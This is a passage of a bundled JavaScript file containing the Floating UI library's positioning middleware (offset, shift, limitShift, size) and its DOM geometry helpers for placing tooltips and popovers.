27016 const mainAxisMulti = ['left', 'top'].includes(side) ? -1 : 1;
27017 const crossAxisMulti = rtl && isVertical ? -1 : 1;
27018 const rawValue = floating_ui_utils_evaluate(options, state);
27019
27020 // eslint-disable-next-line prefer-const
27021 let {
27022 mainAxis,
27023 crossAxis,
27024 alignmentAxis
27025 } = typeof rawValue === 'number' ? {
27026 mainAxis: rawValue,
27027 crossAxis: 0,
27028 alignmentAxis: null
27029 } : {
27030 mainAxis: 0,
27031 crossAxis: 0,
27032 alignmentAxis: null,
27033 ...rawValue
27034 };
27035 if (alignment && typeof alignmentAxis === 'number') {
27036 crossAxis = alignment === 'end' ? alignmentAxis * -1 : alignmentAxis;
27037 }
27038 return isVertical ? {
27039 x: crossAxis * crossAxisMulti,
27040 y: mainAxis * mainAxisMulti
27041 } : {
27042 x: mainAxis * mainAxisMulti,
27043 y: crossAxis * crossAxisMulti
27044 };
27045}
27046
27047/**
27048 * Modifies the placement by translating the floating element along the
27049 * specified axes.
27050 * A number (shorthand for `mainAxis` or distance), or an axes configuration
27051 * object may be passed.
27052 * @see https://floating-ui.com/docs/offset
27053 */
27054const offset = function (options) {
27055 if (options === void 0) {
27056 options = 0;
27057 }
27058 return {
27059 name: 'offset',
27060 options,
27061 async fn(state) {
27062 const {
27063 x,
27064 y
27065 } = state;
27066 const diffCoords = await convertValueToCoords(state, options);
27067 return {
27068 x: x + diffCoords.x,
27069 y: y + diffCoords.y,
27070 data: diffCoords
27071 };
27072 }
27073 };
27074};
27075
27076/**
27077 * Optimizes the visibility of the floating element by shifting it in order to
27078 * keep it in view when it will overflow the clipping boundary.
27079 * @see https://floating-ui.com/docs/shift
27080 */
27081const shift = function (options) {
27082 if (options === void 0) {
27083 options = {};
27084 }
27085 return {
27086 name: 'shift',
27087 options,
27088 async fn(state) {
27089 const {
27090 x,
27091 y,
27092 placement
27093 } = state;
27094 const {
27095 mainAxis: checkMainAxis = true,
27096 crossAxis: checkCrossAxis = false,
27097 limiter = {
27098 fn: _ref => {
27099 let {
27100 x,
27101 y
27102 } = _ref;
27103 return {
27104 x,
27105 y
27106 };
27107 }
27108 },
27109 ...detectOverflowOptions
27110 } = evaluate(options, state);
27111 const coords = {
27112 x,
27113 y
27114 };
27115 const overflow = await detectOverflow(state, detectOverflowOptions);
27116 const crossAxis = getSideAxis(getSide(placement));
27117 const mainAxis = getOppositeAxis(crossAxis);
27118 let mainAxisCoord = coords[mainAxis];
27119 let crossAxisCoord = coords[crossAxis];
27120 if (checkMainAxis) {
27121 const minSide = mainAxis === 'y' ? 'top' : 'left';
27122 const maxSide = mainAxis === 'y' ? 'bottom' : 'right';
27123 const min = mainAxisCoord + overflow[minSide];
27124 const max = mainAxisCoord - overflow[maxSide];
27125 mainAxisCoord = clamp(min, mainAxisCoord, max);
27126 }
27127 if (checkCrossAxis) {
27128 const minSide = crossAxis === 'y' ? 'top' : 'left';
27129 const maxSide = crossAxis === 'y' ? 'bottom' : 'right';
27130 const min = crossAxisCoord + overflow[minSide];
27131 const max = crossAxisCoord - overflow[maxSide];
27132 crossAxisCoord = clamp(min, crossAxisCoord, max);
27133 }
27134 const limitedCoords = limiter.fn({
27135 ...state,
27136 [mainAxis]: mainAxisCoord,
27137 [crossAxis]: crossAxisCoord
27138 });
27139 return {
27140 ...limitedCoords,
27141 data: {
27142 x: limitedCoords.x - x,
27143 y: limitedCoords.y - y
27144 }
27145 };
27146 }
27147 };
27148};
27149/**
27150 * Built-in `limiter` that will stop `shift()` at a certain point.
27151 */
27152const limitShift = function (options) {
27153 if (options === void 0) {
27154 options = {};
27155 }
27156 return {
27157 options,
27158 fn(state) {
27159 const {
27160 x,
27161 y,
27162 placement,
27163 rects,
27164 middlewareData
27165 } = state;
27166 const {
27167 offset = 0,
27168 mainAxis: checkMainAxis = true,
27169 crossAxis: checkCrossAxis = true
27170 } = evaluate(options, state);
27171 const coords = {
27172 x,
27173 y
27174 };
27175 const crossAxis = getSideAxis(placement);
27176 const mainAxis = getOppositeAxis(crossAxis);
27177 let mainAxisCoord = coords[mainAxis];
27178 let crossAxisCoord = coords[crossAxis];
27179 const rawOffset = evaluate(offset, state);
27180 const computedOffset = typeof rawOffset === 'number' ? {
27181 mainAxis: rawOffset,
27182 crossAxis: 0
27183 } : {
27184 mainAxis: 0,
27185 crossAxis: 0,
27186 ...rawOffset
27187 };
27188 if (checkMainAxis) {
27189 const len = mainAxis === 'y' ? 'height' : 'width';
27190 const limitMin = rects.reference[mainAxis] - rects.floating[len] + computedOffset.mainAxis;
27191 const limitMax = rects.reference[mainAxis] + rects.reference[len] - computedOffset.mainAxis;
27192 if (mainAxisCoord < limitMin) {
27193 mainAxisCoord = limitMin;
27194 } else if (mainAxisCoord > limitMax) {
27195 mainAxisCoord = limitMax;
27196 }
27197 }
27198 if (checkCrossAxis) {
27199 var _middlewareData$offse, _middlewareData$offse2;
27200 const len = mainAxis === 'y' ? 'width' : 'height';
27201 const isOriginSide = ['top', 'left'].includes(getSide(placement));
27202 const limitMin = rects.reference[crossAxis] - rects.floating[len] + (isOriginSide ? ((_middlewareData$offse = middlewareData.offset) == null ? void 0 : _middlewareData$offse[crossAxis]) || 0 : 0) + (isOriginSide ? 0 : computedOffset.crossAxis);
27203 const limitMax = rects.reference[crossAxis] + rects.reference[len] + (isOriginSide ? 0 : ((_middlewareData$offse2 = middlewareData.offset) == null ? void 0 : _middlewareData$offse2[crossAxis]) || 0) - (isOriginSide ? computedOffset.crossAxis : 0);
27204 if (crossAxisCoord < limitMin) {
27205 crossAxisCoord = limitMin;
27206 } else if (crossAxisCoord > limitMax) {
27207 crossAxisCoord = limitMax;
27208 }
27209 }
27210 return {
27211 [mainAxis]: mainAxisCoord,
27212 [crossAxis]: crossAxisCoord
27213 };
27214 }
27215 };
27216};
27217
27218/**
27219 * Provides data that allows you to change the size of the floating element —
27220 * for instance, prevent it from overflowing the clipping boundary or match the
27221 * width of the reference element.
27222 * @see https://floating-ui.com/docs/size
27223 */
27224const size = function (options) {
27225 if (options === void 0) {
27226 options = {};
27227 }
27228 return {
27229 name: 'size',
27230 options,
27231 async fn(state) {
27232 const {
27233 placement,
27234 rects,
27235 platform,
27236 elements
27237 } = state;
27238 const {
27239 apply = () => {},
27240 ...detectOverflowOptions
27241 } = evaluate(options, state);
27242 const overflow = await detectOverflow(state, detectOverflowOptions);
27243 const side = getSide(placement);
27244 const alignment = getAlignment(placement);
27245 const isYAxis = getSideAxis(placement) === 'y';
27246 const {
27247 width,
27248 height
27249 } = rects.floating;
27250 let heightSide;
27251 let widthSide;
27252 if (side === 'top' || side === 'bottom') {
27253 heightSide = side;
27254 widthSide = alignment === ((await (platform.isRTL == null ? void 0 : platform.isRTL(elements.floating))) ? 'start' : 'end') ? 'left' : 'right';
27255 } else {
27256 widthSide = side;
27257 heightSide = alignment === 'end' ? 'top' : 'bottom';
27258 }
27259 const overflowAvailableHeight = height - overflow[heightSide];
27260 const overflowAvailableWidth = width - overflow[widthSide];
27261 const noShift = !state.middlewareData.shift;
27262 let availableHeight = overflowAvailableHeight;
27263 let availableWidth = overflowAvailableWidth;
27264 if (isYAxis) {
27265 const maximumClippingWidth = width - overflow.left - overflow.right;
27266 availableWidth = alignment || noShift ? min(overflowAvailableWidth, maximumClippingWidth) : maximumClippingWidth;
27267 } else {
27268 const maximumClippingHeight = height - overflow.top - overflow.bottom;
27269 availableHeight = alignment || noShift ? min(overflowAvailableHeight, maximumClippingHeight) : maximumClippingHeight;
27270 }
27271 if (noShift && !alignment) {
27272 const xMin = max(overflow.left, 0);
27273 const xMax = max(overflow.right, 0);
27274 const yMin = max(overflow.top, 0);
27275 const yMax = max(overflow.bottom, 0);
27276 if (isYAxis) {
27277 availableWidth = width - 2 * (xMin !== 0 || xMax !== 0 ? xMin + xMax : max(overflow.left, overflow.right));
27278 } else {
27279 availableHeight = height - 2 * (yMin !== 0 || yMax !== 0 ? yMin + yMax : max(overflow.top, overflow.bottom));
27280 }
27281 }
27282 await apply({
27283 ...state,
27284 availableWidth,
27285 availableHeight
27286 });
27287 const nextDimensions = await platform.getDimensions(elements.floating);
27288 if (width !== nextDimensions.width || height !== nextDimensions.height) {
27289 return {
27290 reset: {
27291 rects: true
27292 }
27293 };
27294 }
27295 return {};
27296 }
27297 };
27298};
27299
27300
27301
27302;// ./node_modules/@floating-ui/dom/node_modules/@floating-ui/utils/dist/floating-ui.utils.mjs
27303/**
27304 * Custom positioning reference element.
27305 * @see https://floating-ui.com/docs/virtual-elements
27306 */
27307
27308const dist_floating_ui_utils_sides = (/* unused pure expression or super */ null && (['top', 'right', 'bottom', 'left']));
27309const floating_ui_utils_alignments = (/* unused pure expression or super */ null && (['start', 'end']));
27310const dist_floating_ui_utils_placements = /*#__PURE__*/(/* unused pure expression or super */ null && (dist_floating_ui_utils_sides.reduce((acc, side) => acc.concat(side, side + "-" + floating_ui_utils_alignments[0], side + "-" + floating_ui_utils_alignments[1]), [])));
27311const dist_floating_ui_utils_min = Math.min;
27312const dist_floating_ui_utils_max = Math.max;
27313const floating_ui_utils_round = Math.round;
27314const floating_ui_utils_floor = Math.floor;
27315const floating_ui_utils_createCoords = v => ({
27316 x: v,
27317 y: v
27318});
27319const floating_ui_utils_oppositeSideMap = {
27320 left: 'right',
27321 right: 'left',
27322 bottom: 'top',
27323 top: 'bottom'
27324};
27325const floating_ui_utils_oppositeAlignmentMap = {
27326 start: 'end',
27327 end: 'start'
27328};
27329function dist_floating_ui_utils_clamp(start, value, end) {
27330 return dist_floating_ui_utils_max(start, dist_floating_ui_utils_min(value, end));
27331}
27332function dist_floating_ui_utils_evaluate(value, param) {
27333 return typeof value === 'function' ? value(param) : value;
27334}
27335function dist_floating_ui_utils_getSide(placement) {
27336 return placement.split('-')[0];
27337}
27338function dist_floating_ui_utils_getAlignment(placement) {
27339 return placement.split('-')[1];
27340}
27341function dist_floating_ui_utils_getOppositeAxis(axis) {
27342 return axis === 'x' ? 'y' : 'x';
27343}
27344function dist_floating_ui_utils_getAxisLength(axis) {
27345 return axis === 'y' ? 'height' : 'width';
27346}
27347function dist_floating_ui_utils_getSideAxis(placement) {
27348 return ['top', 'bottom'].includes(dist_floating_ui_utils_getSide(placement)) ? 'y' : 'x';
27349}
27350function dist_floating_ui_utils_getAlignmentAxis(placement) {
27351 return dist_floating_ui_utils_getOppositeAxis(dist_floating_ui_utils_getSideAxis(placement));
27352}
27353function dist_floating_ui_utils_getAlignmentSides(placement, rects, rtl) {
27354 if (rtl === void 0) {
27355 rtl = false;
27356 }
27357 const alignment = dist_floating_ui_utils_getAlignment(placement);
27358 const alignmentAxis = dist_floating_ui_utils_getAlignmentAxis(placement);
27359 const length = dist_floating_ui_utils_getAxisLength(alignmentAxis);
27360 let mainAlignmentSide = alignmentAxis === 'x' ? alignment === (rtl ? 'end' : 'start') ? 'right' : 'left' : alignment === 'start' ? 'bottom' : 'top';
27361 if (rects.reference[length] > rects.floating[length]) {
27362 mainAlignmentSide = dist_floating_ui_utils_getOppositePlacement(mainAlignmentSide);
27363 }
27364 return [mainAlignmentSide, dist_floating_ui_utils_getOppositePlacement(mainAlignmentSide)];
27365}
27366function dist_floating_ui_utils_getExpandedPlacements(placement) {
27367 const oppositePlacement = dist_floating_ui_utils_getOppositePlacement(placement);
27368 return [dist_floating_ui_utils_getOppositeAlignmentPlacement(placement), oppositePlacement, dist_floating_ui_utils_getOppositeAlignmentPlacement(oppositePlacement)];
27369}
27370function dist_floating_ui_utils_getOppositeAlignmentPlacement(placement) {
27371 return placement.replace(/start|end/g, alignment => floating_ui_utils_oppositeAlignmentMap[alignment]);
27372}
27373function floating_ui_utils_getSideList(side, isStart, rtl) {
27374 const lr = ['left', 'right'];
27375 const rl = ['right', 'left'];
27376 const tb = ['top', 'bottom'];
27377 const bt = ['bottom', 'top'];
27378 switch (side) {
27379 case 'top':
27380 case 'bottom':
27381 if (rtl) return isStart ? rl : lr;
27382 return isStart ? lr : rl;
27383 case 'left':
27384 case 'right':
27385 return isStart ? tb : bt;
27386 default:
27387 return [];
27388 }
27389}
27390function dist_floating_ui_utils_getOppositeAxisPlacements(placement, flipAlignment, direction, rtl) {
27391 const alignment = dist_floating_ui_utils_getAlignment(placement);
27392 let list = floating_ui_utils_getSideList(dist_floating_ui_utils_getSide(placement), direction === 'start', rtl);
27393 if (alignment) {
27394 list = list.map(side => side + "-" + alignment);
27395 if (flipAlignment) {
27396 list = list.concat(list.map(dist_floating_ui_utils_getOppositeAlignmentPlacement));
27397 }
27398 }
27399 return list;
27400}
27401function dist_floating_ui_utils_getOppositePlacement(placement) {
27402 return placement.replace(/left|right|bottom|top/g, side => floating_ui_utils_oppositeSideMap[side]);
27403}
27404function floating_ui_utils_expandPaddingObject(padding) {
27405 return {
27406 top: 0,
27407 right: 0,
27408 bottom: 0,
27409 left: 0,
27410 ...padding
27411 };
27412}
27413function dist_floating_ui_utils_getPaddingObject(padding) {
27414 return typeof padding !== 'number' ? floating_ui_utils_expandPaddingObject(padding) : {
27415 top: padding,
27416 right: padding,
27417 bottom: padding,
27418 left: padding
27419 };
27420}
27421function dist_floating_ui_utils_rectToClientRect(rect) {
27422 const {
27423 x,
27424 y,
27425 width,
27426 height
27427 } = rect;
27428 return {
27429 width,
27430 height,
27431 top: y,
27432 left: x,
27433 right: x + width,
27434 bottom: y + height,
27435 x,
27436 y
27437 };
27438}
27439
27440
27441
27442;// ./node_modules/@floating-ui/dom/node_modules/@floating-ui/utils/dist/floating-ui.utils.dom.mjs
27443function hasWindow() {
27444 return typeof window !== 'undefined';
27445}
27446function getNodeName(node) {
27447 if (isNode(node)) {
27448 return (node.nodeName || '').toLowerCase();
27449 }
27450 // Mocked nodes in testing environments may not be instances of Node. By
27451 // returning `#document` an infinite loop won't occur.
27452 // https://github.com/floating-ui/floating-ui/issues/2317
27453 return '#document';
27454}
27455function getWindow(node) {
27456 var _node$ownerDocument;
27457 return (node == null || (_node$ownerDocument = node.ownerDocument) == null ? void 0 : _node$ownerDocument.defaultView) || window;
27458}
27459function getDocumentElement(node) {
27460 var _ref;
27461 return (_ref = (isNode(node) ? node.ownerDocument : node.document) || window.document) == null ? void 0 : _ref.documentElement;
27462}
27463function isNode(value) {
27464 if (!hasWindow()) {
27465 return false;
27466 }
27467 return value instanceof Node || value instanceof getWindow(value).Node;
27468}
27469function isElement(value) {
27470 if (!hasWindow()) {
27471 return false;
27472 }
27473 return value instanceof Element || value instanceof getWindow(value).Element;
27474}
27475function isHTMLElement(value) {
27476 if (!hasWindow()) {
27477 return false;
27478 }
27479 return value instanceof HTMLElement || value instanceof getWindow(value).HTMLElement;
27480}
27481function isShadowRoot(value) {
27482 if (!hasWindow() || typeof ShadowRoot === 'undefined') {
27483 return false;
27484 }
27485 return value instanceof ShadowRoot || value instanceof getWindow(value).ShadowRoot;
27486}
27487function isOverflowElement(element) {
27488 const {
27489 overflow,
27490 overflowX,
27491 overflowY,
27492 display
27493 } = getComputedStyle(element);
27494 return /auto|scroll|overlay|hidden|clip/.test(overflow + overflowY + overflowX) && !['inline', 'contents'].includes(display);
27495}
27496function isTableElement(element) {
27497 return ['table', 'td', 'th'].includes(getNodeName(element));
27498}
27499function isTopLayer(element) {
27500 return [':popover-open', ':modal'].some(selector => {
27501 try {
27502 return element.matches(selector);
27503 } catch (e) {
27504 return false;
27505 }
27506 });
27507}
27508function isContainingBlock(elementOrCss) {
27509 const webkit = isWebKit();
27510 const css = isElement(elementOrCss) ? getComputedStyle(elementOrCss) : elementOrCss;
27511
27512 // https://developer.mozilla.org/en-US/docs/Web/CSS/Containing_block#identifying_the_containing_block
27513 // https://drafts.csswg.org/css-transforms-2/#individual-transforms
27514 return ['transform', 'translate', 'scale', 'rotate', 'perspective'].some(value => css[value] ? css[value] !== 'none' : false) || (css.containerType ? css.containerType !== 'normal' : false) || !webkit && (css.backdropFilter ? css.backdropFilter !== 'none' : false) || !webkit && (css.filter ? css.filter !== 'none' : false) || ['transform', 'translate', 'scale', 'rotate', 'perspective', 'filter'].some(value => (css.willChange || '').includes(value)) || ['paint', 'layout', 'strict', 'content'].some(value => (css.contain || '').includes(value));
27515}
27516function getContainingBlock(element) {
27517 let currentNode = getParentNode(element);
27518 while (isHTMLElement(currentNode) && !isLastTraversableNode(currentNode)) {
27519 if (isContainingBlock(currentNode)) {
27520 return currentNode;
27521 } else if (isTopLayer(currentNode)) {
27522 return null;
27523 }
27524 currentNode = getParentNode(currentNode);
27525 }
27526 return null;
27527}
27528function isWebKit() {
27529 if (typeof CSS === 'undefined' || !CSS.supports) return false;
27530 return CSS.supports('-webkit-backdrop-filter', 'none');
27531}
27532function isLastTraversableNode(node) {
27533 return ['html', 'body', '#document'].includes(getNodeName(node));
27534}
27535function getComputedStyle(element) {
27536 return getWindow(element).getComputedStyle(element);
27537}
27538function getNodeScroll(element) {
27539 if (isElement(element)) {
27540 return {
27541 scrollLeft: element.scrollLeft,
27542 scrollTop: element.scrollTop
27543 };
27544 }
27545 return {
27546 scrollLeft: element.scrollX,
27547 scrollTop: element.scrollY
27548 };
27549}
27550function getParentNode(node) {
27551 if (getNodeName(node) === 'html') {
27552 return node;
27553 }
27554 const result =
27555 // Step into the shadow DOM of the parent of a slotted node.
27556 node.assignedSlot ||
27557 // DOM Element detected.
27558 node.parentNode ||
27559 // ShadowRoot detected.
27560 isShadowRoot(node) && node.host ||
27561 // Fallback.
27562 getDocumentElement(node);
27563 return isShadowRoot(result) ? result.host : result;
27564}
27565function getNearestOverflowAncestor(node) {
27566 const parentNode = getParentNode(node);
27567 if (isLastTraversableNode(parentNode)) {
27568 return node.ownerDocument ? node.ownerDocument.body : node.body;
27569 }
27570 if (isHTMLElement(parentNode) && isOverflowElement(parentNode)) {
27571 return parentNode;
27572 }
27573 return getNearestOverflowAncestor(parentNode);
27574}
27575function getOverflowAncestors(node, list, traverseIframes) {
27576 var _node$ownerDocument2;
27577 if (list === void 0) {
27578 list = [];
27579 }
27580 if (traverseIframes === void 0) {
27581 traverseIframes = true;
27582 }
27583 const scrollableAncestor = getNearestOverflowAncestor(node);
27584 const isBody = scrollableAncestor === ((_node$ownerDocument2 = node.ownerDocument) == null ? void 0 : _node$ownerDocument2.body);
27585 const win = getWindow(scrollableAncestor);
27586 if (isBody) {
27587 const frameElement = getFrameElement(win);
27588 return list.concat(win, win.visualViewport || [], isOverflowElement(scrollableAncestor) ? scrollableAncestor : [], frameElement && traverseIframes ? getOverflowAncestors(frameElement) : []);
27589 }
27590 return list.concat(scrollableAncestor, getOverflowAncestors(scrollableAncestor, [], traverseIframes));
27591}
27592function getFrameElement(win) {
27593 return win.parent && Object.getPrototypeOf(win.parent) ? win.frameElement : null;
27594}
27595
27596
27597
27598;// ./node_modules/@floating-ui/dom/dist/floating-ui.dom.mjs
27599
27600
27601
27602
27603
27604
27605function getCssDimensions(element) {
27606 const css = getComputedStyle(element);
27607 // In testing environments, the `width` and `height` properties are empty
27608 // strings for SVG elements, returning NaN. Fallback to `0` in this case.
27609 let width = parseFloat(css.width) || 0;
27610 let height = parseFloat(css.height) || 0;
27611 const hasOffset = isHTMLElement(element);
27612 const offsetWidth = hasOffset ? element.offsetWidth : width;
27613 const offsetHeight = hasOffset ? element.offsetHeight : height;
27614 const shouldFallback = floating_ui_utils_round(width) !== offsetWidth || floating_ui_utils_round(height) !== offsetHeight;
27615 if (shouldFallback) {
27616 width = offsetWidth;
27617 height = offsetHeight;
27618 }
27619 return {
27620 width,
27621 height,
27622 $: shouldFallback
27623 };
27624}
27625
27626function unwrapElement(element) {
27627 return !isElement(element) ? element.contextElement : element;
27628}
27629
27630function getScale(element) {
27631 const domElement = unwrapElement(element);
27632 if (!isHTMLElement(domElement)) {
27633 return floating_ui_utils_createCoords(1);
27634 }
27635 const rect = domElement.getBoundingClientRect();
27636 const {
27637 width,
27638 height,
27639 $
27640 } = getCssDimensions(domElement);
27641 let x = ($ ? floating_ui_utils_round(rect.width) : rect.width) / width;
27642 let y = ($ ? floating_ui_utils_round(rect.height) : rect.height) / height;
27643
27644 // 0, NaN, or Infinity should always fallback to 1.
27645
27646 if (!x || !Number.isFinite(x)) {
27647 x = 1;
27648 }
27649 if (!y || !Number.isFinite(y)) {
27650 y = 1;
27651 }
27652 return {
27653 x,
27654 y
27655 };
27656}
27657
27658const noOffsets = /*#__PURE__*/floating_ui_utils_createCoords(0);
27659function getVisualOffsets(element) {
27660 const win = getWindow(element);
27661 if (!isWebKit() || !win.visualViewport) {
27662 return noOffsets;
27663 }
27664 return {
27665 x: win.visualViewport.offsetLeft,
27666 y: win.visualViewport.offsetTop
27667 };
27668}
27669function shouldAddVisualOffsets(element, isFixed, floatingOffsetParent) {
27670 if (isFixed === void 0) {
27671 isFixed = false;
27672 }
27673 if (!floatingOffsetParent || isFixed && floatingOffsetParent !== getWindow(element)) {
27674 return false;
27675 }
27676 return isFixed;
27677}
27678
27679function getBoundingClientRect(element, includeScale, isFixedStrategy, offsetParent) {
27680 if (includeScale === void 0) {
27681 includeScale = false;
27682 }
27683 if (isFixedStrategy === void 0) {
27684 isFixedStrategy = false;
27685 }
27686 const clientRect = element.getBoundingClientRect();
27687 const domElement = unwrapElement(element);
27688 let scale = floating_ui_utils_createCoords(1);
27689 if (includeScale) {
27690 if (offsetParent) {
27691 if (isElement(offsetParent)) {
27692 scale = getScale(offsetParent);
27693 }
27694 } else {
27695 scale = getScale(element);
27696 }
27697 }
27698 const visualOffsets = shouldAddVisualOffsets(domElement, isFixedStrategy, offsetParent) ? getVisualOffsets(domElement) : floating_ui_utils_createCoords(0);
27699 let x = (clientRect.left + visualOffsets.x) / scale.x;
27700 let y = (clientRect.top + visualOffsets.y) / scale.y;
27701 let width = clientRect.width / scale.x;
27702 let height = clientRect.height / scale.y;
27703 if (domElement) {
27704 const win = getWindow(domElement);
27705 const offsetWin = offsetParent && isElement(offsetParent) ? getWindow(offsetParent) : offsetParent;
27706 let currentWin = win;
27707 let currentIFrame = currentWin.frameElement;
27708 while (currentIFrame && offsetParent && offsetWin !== currentWin) {
27709 const iframeScale = getScale(currentIFrame);
27710 const iframeRect = currentIFrame.getBoundingClientRect();
27711 const css = getComputedStyle(currentIFrame);
27712 const left = iframeRect.left + (currentIFrame.clientLeft + parseFloat(css.paddingLeft)) * iframeScale.x;
27713 const top = iframeRect.top + (currentIFrame.clientTop + parseFloat(css.paddingTop)) * iframeScale.y;
27714 x *= iframeScale.x;
27715 y *= iframeScale.y;
27716 width *= iframeScale.x;
27717 height *= iframeScale.y;
27718 x += left;
27719 y += top;
27720 currentWin = getWindow(currentIFrame);
27721 currentIFrame = currentWin.frameElement;
27722 }
27723 }
27724 return floating_ui_utils_rectToClientRect({
27725 width,
27726 height,
27727 x,
27728 y
27729 });
27730}
27731
27732const topLayerSelectors = [':popover-open', ':modal'];
27733function floating_ui_dom_isTopLayer(floating) {
27734 return topLayerSelectors.some(selector => {
27735 try {
27736 return floating.matches(selector);
27737 } catch (e) {
27738 return false;
27739 }
27740 });
27741}
27742
27743function convertOffsetParentRelativeRectToViewportRelativeRect(_ref) {
27744 let {
27745 elements,
27746 rect,
27747 offsetParent,
27748 strategy
27749 } = _ref;
27750 const isFixed = strategy === 'fixed';
27751 const documentElement = getDocumentElement(offsetParent);
27752 const topLayer = elements ? floating_ui_dom_isTopLayer(elements.floating) : false;
27753 if (offsetParent === documentElement || topLayer && isFixed) {
27754 return rect;
27755 }
27756 let scroll = {
27757 scrollLeft: 0,
27758 scrollTop: 0
27759 };
27760 let scale = floating_ui_utils_createCoords(1);
27761 const offsets = floating_ui_utils_createCoords(0);
27762 const isOffsetParentAnElement = isHTMLElement(offsetParent);
27763 if (isOffsetParentAnElement || !isOffsetParentAnElement && !isFixed) {
27764 if (getNodeName(offsetParent) !== 'body' || isOverflowElement(documentElement)) {
27765 scroll = getNodeScroll(offsetParent);
27766 }
27767 if (isHTMLElement(offsetParent)) {
27768 const offsetRect = getBoundingClientRect(offsetParent);
27769 scale = getScale(offsetParent);
27770 offsets.x = offsetRect.x + offsetParent.clientLeft;
27771 offsets.y = offsetRect.y + offsetParent.clientTop;
27772 }
27773 }
27774 return {
27775 width: rect.width * scale.x,
27776 height: rect.height * scale.y,
27777 x: rect.x * scale.x - scroll.scrollLeft * scale.x + offsets.x,
27778 y: rect.y * scale.y - scroll.scrollTop * scale.y + offsets.y
27779 };
27780}
27781
27782function getClientRects(element) {
27783 return Array.from(element.getClientRects());
27784}
27785
27786function getWindowScrollBarX(element) {
27787 // If <html> has a CSS width greater than the viewport, then this will be
27788 // incorrect for RTL.
27789 return getBoundingClientRect(getDocumentElement(element)).left + getNodeScroll(element).scrollLeft;
27790}
27791
27792// Gets the entire size of the scrollable document area, even extending outside
27793// of the `<html>` and `<body>` rect bounds if horizontally scrollable.
27794function getDocumentRect(element) {
27795 const html = getDocumentElement(element);
27796 const scroll = getNodeScroll(element);
27797 const body = element.ownerDocument.body;
27798 const width = dist_floating_ui_utils_max(html.scrollWidth, html.clientWidth, body.scrollWidth, body.clientWidth);
27799 const height = dist_floating_ui_utils_max(html.scrollHeight, html.clientHeight, body.scrollHeight, body.clientHeight);
27800 let x = -scroll.scrollLeft + getWindowScrollBarX(element);
27801 const y = -scroll.scrollTop;
27802 if (getComputedStyle(body).direction === 'rtl') {
27803 x += dist_floating_ui_utils_max(html.clientWidth, body.clientWidth) - width;
27804 }
27805 return {
27806 width,
27807 height,
27808 x,
27809 y
27810 };
27811}
27812
27813function getViewportRect(element, strategy) {
27814 const win = getWindow(element);
27815 const html = getDocumentElement(element);
27816 const visualViewport = win.visualViewport;
27817 let width = html.clientWidth;
27818 let height = html.clientHeight;
27819 let x = 0;
27820 let y = 0;
27821 if (visualViewport) {
27822 width = visualViewport.width;
27823 height = visualViewport.height;
27824 const visualViewportBased = isWebKit();
27825 if (!visualViewportBased || visualViewportBased && strategy === 'fixed') {
27826 x = visualViewport.offsetLeft;
27827 y = visualViewport.offsetTop;
27828 }
27829 }
27830 return {
27831 width,
27832 height,
27833 x,
27834 y
27835 };
27836}
27837
27838// Returns the inner client rect, subtracting scrollbars if present.
27839function getInnerBoundingClientRect(element, strategy) {
27840 const clientRect = getBoundingClientRect(element, true, strategy === 'fixed');
27841 const top = clientRect.top + element.clientTop;
27842 const left = clientRect.left + element.clientLeft;
27843 const scale = isHTMLElement(element) ? getScale(element) : floating_ui_utils_createCoords(1);
27844 const width = element.clientWidth * scale.x;
27845 const height = element.clientHeight * scale.y;
27846 const x = left * scale.x;
27847 const y = top * scale.y;
27848 return {
27849 width,
27850 height,
27851 x,
27852 y
27853 };
27854}
27855function getClientRectFromClippingAncestor(element, clippingAncestor, strategy) {
27856 let rect;
27857 if (clippingAncestor === 'viewport') {
27858 rect = getViewportRect(element, strategy);
27859 } else if (clippingAncestor === 'document') {
27860 rect = getDocumentRect(getDocumentElement(element));
27861 } else if (isElement(clippingAncestor)) {
27862 rect = getInnerBoundingClientRect(clippingAncestor, strategy);
27863 } else {
27864 const visualOffsets = getVisualOffsets(element);
27865 rect = {
27866 ...clippingAncestor,
27867 x: clippingAncestor.x - visualOffsets.x,
27868 y: clippingAncestor.y - visualOffsets.y
27869 };
27870 }
27871 return floating_ui_utils_rectToClientRect(rect);
27872}
27873function hasFixedPositionAncestor(element, stopNode) {
27874 const parentNode = getParentNode(element);
27875 if (parentNode === stopNode || !isElement(parentNode) || isLastTraversableNode(parentNode)) {
27876 return false;
27877 }
27878 return getComputedStyle(parentNode).position === 'fixed' || hasFixedPositionAncestor(parentNode, stopNode);
27879}
27880
27881// A "clipping ancestor" is an `overflow` element with the characteristic of
27882// clipping (or hiding) child elements. This returns all clipping ancestors
27883// of the given element up the tree.
27884function getClippingElementAncestors(element, cache) {
27885 const cachedResult = cache.get(element);
27886 if (cachedResult) {
27887 return cachedResult;
27888 }
27889 let result = getOverflowAncestors(element, [], false).filter(el => isElement(el) && getNodeName(el) !== 'body');
27890 let currentContainingBlockComputedStyle = null;
27891 const elementIsFixed = getComputedStyle(element).position === 'fixed';
27892 let currentNode = elementIsFixed ? getParentNode(element) : element;
27893
27894 // https://developer.mozilla.org/en-US/docs/Web/CSS/Containing_block#identifying_the_containing_block
27895 while (isElement(currentNode) && !isLastTraversableNode(currentNode)) {
27896 const computedStyle = getComputedStyle(currentNode);
27897 const currentNodeIsContaining = isContainingBlock(currentNode);
27898 if (!currentNodeIsContaining && computedStyle.position === 'fixed') {
27899 currentContainingBlockComputedStyle = null;
27900 }
27901 const shouldDropCurrentNode = elementIsFixed ? !currentNodeIsContaining && !currentContainingBlockComputedStyle : !currentNodeIsContaining && computedStyle.position === 'static' && !!currentContainingBlockComputedStyle && ['absolute', 'fixed'].includes(currentContainingBlockComputedStyle.position) || isOverflowElement(currentNode) && !currentNodeIsContaining && hasFixedPositionAncestor(element, currentNode);
27902 if (shouldDropCurrentNode) {
27903 // Drop non-containing blocks.
27904 result = result.filter(ancestor => ancestor !== currentNode);
27905 } else {
27906 // Record last containing block for next iteration.
27907 currentContainingBlockComputedStyle = computedStyle;
27908 }
27909 currentNode = getParentNode(currentNode);
27910 }
27911 cache.set(element, result);
27912 return result;
27913}
27914
27915// Gets the maximum area that the element is visible in due to any number of
27916// clipping ancestors.
27917function getClippingRect(_ref) {
27918 let {
27919 element,
27920 boundary,
27921 rootBoundary,
27922 strategy
27923 } = _ref;
27924 const elementClippingAncestors = boundary === 'clippingAncestors' ? getClippingElementAncestors(element, this._c) : [].concat(boundary);
27925 const clippingAncestors = [...elementClippingAncestors, rootBoundary];
27926 const firstClippingAncestor = clippingAncestors[0];
27927 const clippingRect = clippingAncestors.reduce((accRect, clippingAncestor) => {
